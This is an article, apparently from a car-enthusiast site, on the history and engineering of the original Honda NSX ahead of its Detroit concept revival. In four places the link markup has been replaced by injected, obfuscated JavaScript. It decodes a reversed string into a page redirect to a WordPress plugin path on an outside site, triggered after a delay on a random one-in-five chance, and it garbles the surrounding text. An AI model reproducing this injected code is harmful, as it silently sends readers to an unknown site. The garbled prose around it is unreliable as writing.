The Honda NSX proved a demon on-track and a major thorn in the paw of its supercar rivals in the early 1990s. Devoid of development from the Formula One legend Ayrton Senna, the new NSX Concept – debuted this month at the Detroit Auito Show – has some big shoes to fill.
Whenever a legend is reborn, it’s difficult to gauge what the feedback (or backlash) will be. The new inductee will either be welcomed with open arms thanks to its ‘fresh take’, or spend the rest of its days in forced exile before ultimately dropping off the map: there’s not many who’ll pick George Lazenby’s 007 over Sean Connery’s, after all.
This is also the case in the automotive industry, where the list of big hitters gets longer with seemingly every full turn of the globe. And now, if they decide to green flag the new program, Honda (or Acura, depending on where you are in the world) faces a similar battle following the debut of the latest NSX Concept at the Detroit Auto Show. Lest we forget, the original NSX was a mighty impressive piece of kit.
Making eyes spin when production began in 1990, the NSX was a solid reminder that Honda could produce much more than small, reliable hatchbacks that offered little other than good fuel consumption and easy trips from A to B. The simple fact that Honda commissioned legendary designer $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/ferrari-testarossa-dino-206gt-alfa-romeo-spider-blank-canvas/” target=”_blank”>Pininfarina in the mid-1980s to pencil the new HP-X (the Honda Pininfarina Xperimental), as it then was, demonstrates just how important image was to the company.
Ultimately it would be Nicholas Zander and Shigeru Uehara – Honda’s chief designer and executive chief engineer respectively – who would complete the final design, but the prospect remained the same. Not only did this new beast have to eat up the apexes, it had to look good whilst doing it.
Given the traditional V12 workhorses used by the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/lamborghini/” target=”_blank”>Lamborghinis, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/ferrari/” target=”_blank”>Ferraris and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/mclaren/” target=”_blank”>McLarens of this world during the ‘90s, the choice of a 3.0-litre V6 (which in itself had been upped from 2.0-litres just to be on the safe side) seemed an odd choice by Honda, especially since on pure grunt alone the NSX gave pretty much half of its horsepower away to rival supercars. Partly this came down to a gentleman’s agreement between native manufacturers in Japan whereby overall horsepower figures would not exceed a set limit. But there were other reasons.
The 3.4-litre V8 Ferrari 348 for one, which Honda execs earmarked as the bullseye. To make a smaller engine sportscar faster, nimbler and more reliable than one of Maranello’s finest would mark a huge feather in the conical hat, and so it was that design focus was levelled on agility.
The new NSX would be left for dead on the quarter mile, true, but throw it by the collar studs around the Nurburgring, and the newboy from Japan – thanks to a lightweight aluminium monocoque bodyshell, race-tuned suspension, electric-power steering, the first electric throttle control to ever be fitted to a Honda and weight distribution only a cheetah could better – would be breathing down anybody’s necks. It wasn’t long before the NSX was breaking competition in half in the Super GT and All-Japan Grand Touring Car Championship. Today, the HSV-010 GT follows in its mighty footsteps and continues to be a heavy hitter.
